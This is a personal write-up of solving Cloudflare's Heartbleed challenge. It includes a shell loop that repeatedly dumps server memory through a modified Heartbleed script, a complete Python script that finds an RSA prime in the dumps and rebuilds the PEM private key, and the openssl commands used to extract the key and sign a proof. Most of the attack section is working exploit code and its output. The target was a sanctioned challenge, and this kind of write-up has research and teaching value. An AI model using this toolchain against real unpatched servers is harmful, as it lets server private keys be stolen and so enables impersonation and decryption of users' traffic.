1. I wasn't first to get the key. Nor was I second, third, or even fourth. I'm probably not even the
2. 10th to get it. But I'm happy that I was able to prove to myself that I too could do it.
3.  
4. The sleepless adventure began yesterday afternoon, 2014-04-12 15:19:04.827516279 -0700.
5.  
6. First, I have to admit I was a skeptic. Like the handful of other dissenters, I had initially
7. believed that it would be highly improbable under normal conditions to obtain the private key
8. through exploiting Heartbleed. So this was my motivation for participating in Cloudflare's
9. challenge. I had extracted a lot of other things with Heartbleed, but I hadn't actually set out to
10. extract private keys. So I wanted to see first-hand if it was possible or not.
11.  
12. I started by hastily modifying the hb-test.py that everyone has been using to dump the raw memory
13. contents to a file, rather than print a hexdump. I then left this running in the background for a
14. (very long) while, as I set off to think of an approach.
15.  
16.     while true; do python hb-raw.py www.cloudflarechallenge.com; done
17.  
18.  
19. My original thinking was that I could get a large sample of memory, then use some forensic analysis
20. tools to search for keys in the memory dump. This idea went to the wayside, however, as I got
21. sidetracked when I started seeing "BEGIN RSA PRIVATE KEY" strings in the script output.
22.  
23.     http://bindshell.nl/epixoip/cloudflare_key.png
24.  
25.  
26. I thought it was too good to be true, but after parsing it out, it was indeed a valid private key,
27. so I submitted it -- unsuccessfully. This turned out to be the work of trolls who were sending
28. private key contents in heartbeat requests to the server, and I fell for the trollbait. I found
29. several more `private keys' in the dump, and I skeptically tested them anyway, just in case. But
30. they were all fake as well. Fucking trolls. But at least I didn't fall for any of the keys that
31. ended in "LOLJK" ;)
32.  
33. So, I decided to get back on track and stick to my original plan. After searching through some
34. forensics mailing lists and reading some papers on the topic, my plan was to parse my dump file,
35. looking for the start of a key in ASN.1 format ("\x30\x82"), and then parse out the key from there.
36.  
37. While working on this approach, I had a conversation with Brandon Enright (@bmenrigh) on IRC. This
38. conversation left me thinking that my approach won't work, because the chances of the key being in
39. ASN.1 DER format in memory are about as slim as the key being in PEM format in memory. Brandon,
40. however, suggested a much more reasonable approach:
41.  
42. (19:25:15) < bmenrigh> But my plan would be to interpret all possible portions of the memory dump
43. as however the P and Q factors get encoded and then just trial divide the N modulus from the SSL
44. cert until you get one that divides
45. (19:26:38) < bmenrigh> you only get up to about 64k of memory on each grab so if you interpret
46. every offset as the start of the dump as whatever a private key looks like it just isn't many trial
47. divisions
48.  
49.  
50. By this time though, I had already been working on this for several hours, and it was Friday night,
51. so I didn't want to spend any more time on it. However, I gave it some more thought over dinner,
52. and the more I drank, the more I realized it was far more likely that the binary values of p, or q,
53. or both, were in memory as-is. They likely wouldn't be encoded at all, so we can just shift through
54. the memory dump in $keysize chunks, converting them to bignums and doing the trial divide as Brandon
55. suggested. This would be really easy to code up and test, so I decided to call it an early night,
56. and rushed home to work on it while the thought (and the liquor) were still fresh in my brain.
57.  
58. The version of hb-test.py that I already had running in the background was dumping memory in 16 KiB
59. chunks, not the full 64 KiB, so the plan would be to read the memory dump in 16 KiB chunks,
60. shifting through each chunk in $keysize sections, testing to see if we have a prime that the
61. modulus is divisible by. I sketched out the following psuedocode:
62.  
63.     while (chunk = fread (file, 16384))
64.     {
65.         for (offset = 0; offset < len(chunk)-keysize; offset++)
66.         {
67.                 p = bignum (chunk[offset-1] .. chunk[offset+keysize-1])
68.                 if (p is prime and modulus % p == 0)
69.                 {
70.                         q = modulus / p;
71.                         print p, q;
72.                 }
73.         }
74.     }
75.  
76.  
77.  
78. After a few hours of testing and debugging, lo and behold, one of the primes is in my dump. Several
79. times, even. From here, it is trivial to get the private key given p/q and the modulus.
80.  
81.  
82. I ended up with the following script:
83.  
84.  
85. import sys, base64, gmpy
86. from pyasn1.codec.der import encoder
87. from pyasn1.type.univ import *
88.  
89. def main ():
90.         n = int (sys.argv[2], 16)
91.         keysize = n.bit_length() / 16
92.         with open (sys.argv[1], "rb") as f:
93.                 chunk = f.read (16384)
94.                 while chunk:
95.                         for offset in xrange (0, len (chunk) - keysize):
96.                                 p = long (''.join (["%02x" % ord (chunk[x]) for x in xrange (offset + keysize - 1, offset - 1, -1)]).strip(), 16)
97.                                 if gmpy.is_prime (p) and p != n and n % p == 0:
98.                                         e = 65537
99.                                         q = n / p
100.                                         phi = (p - 1) * (q - 1)
101.                                         d = gmpy.invert (e, phi)
102.                                         dp = d % (p - 1)
103.                                         dq = d % (q - 1)
104.                                         qinv = gmpy.invert (q, p)
105.                                         seq = Sequence()
106.                                         for x in [0, n, e, d, p, q, dp, dq, qinv]:
107.                                                 seq.setComponentByPosition (len (seq), Integer (x))
108.                                         print "\n\n-----BEGIN RSA PRIVATE KEY-----\n%s-----END RSA PRIVATE KEY-----\n\n" % base64.encodestring(encoder.encode (seq))
109.                                         sys.exit (0)
110.                         chunk = f.read (16384)
111.                 print "private key not found :("
112.  
113. if __name__ == '__main__':
114.         main()
115.  
116.  
117.  
118. (I'm sorry if this code offends any python aficionados, but I do not write in python very often.)
119.  
120. Putting it all together,
121.  
122.  
123. epixoip@token:~$ while true; do python hb-raw.py www.cloudflarechallenge.com; done
124.  
125. epixoip@token:~$ echo | openssl s_client -connect www.cloudflarechallenge.com:443 -showcerts | openssl x509 > cloudflare.pem
126. depth=4 C = SE, O = AddTrust AB, OU = AddTrust External TTP Network, CN = AddTrust External CA Root
127. verify error:num=19:self signed certificate in certificate chain
128. verify return:0
129. DONE
130.  
131. epixoip@token:~$ openssl x509 -pubkey -noout -in cloudflare.pem > cloudflare_pubkey.pem
132.  
133. epixoip@token:~$ python extractkey.py cloudflare.raw $(openssl x509 -in cloudflare.pem -modulus -noout | cut -d'=' -f2) > cloudflare_privkey.pem
134.  
135. epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_privkey.pem -sha1 >signed_proof.bin
136.  
137. epixoip@token:~$ echo "epixoip has your key" | openssl dgst -verify cloudflare_pubkey.pem -signature signed_proof.bin -sha1
138. Verified OK
139.  
140.  
141. And just so anyone else can verify it if they wish,
142.  
143. epixoip@token:~$ echo "epixoip has your key" | openssl sha1 -sign cloudflare_priv.pem -sha1 | base64
144. XQT3ZRp1zqK++UUZEWQkib2MX9tiUTN3VEA2G4mj4n86cmc0hTEAS2GO1AgkmoVgshFR/JYxlX74
145. s+DHPn4PbyAUB4eC+AqS6T+Wc6PR/Jo4XkF9MTsqLviB/jzSt0wl9pld2RbwMNAToE+HGu5vP4PZ
146. wfW6P5E5HTb/lTsONSubJj9FhZWkDNJPn+d0l/8rS4e9AYvQRII8JGfXAa7BOHgT57qw5F03dE8n
147. srtAu04CSpos25DdgZN47yCecMKETxWe3PeiyeMIbj6OyLdjF/+JUDeN85vXTUx0P7AzOqCeHNon
148. 3uBX7CQZgpl30oaqdCFQcdIOhTb2QwdE3FvSzA==
149.  
150.  
151. So there you have it. I submitted my proof to Cloudflare about 7 hours ago, so I effectively spent
152. a whole day on it. I wasn't the first to get it, probably not even the 10th. And I did need some
153. guidance (thanks Brandon!) But overall, I am pleased. The next step would be to integrate this into
154. hb-test.py, or ideally just re-write the whole damn thing top-to-bottom in C.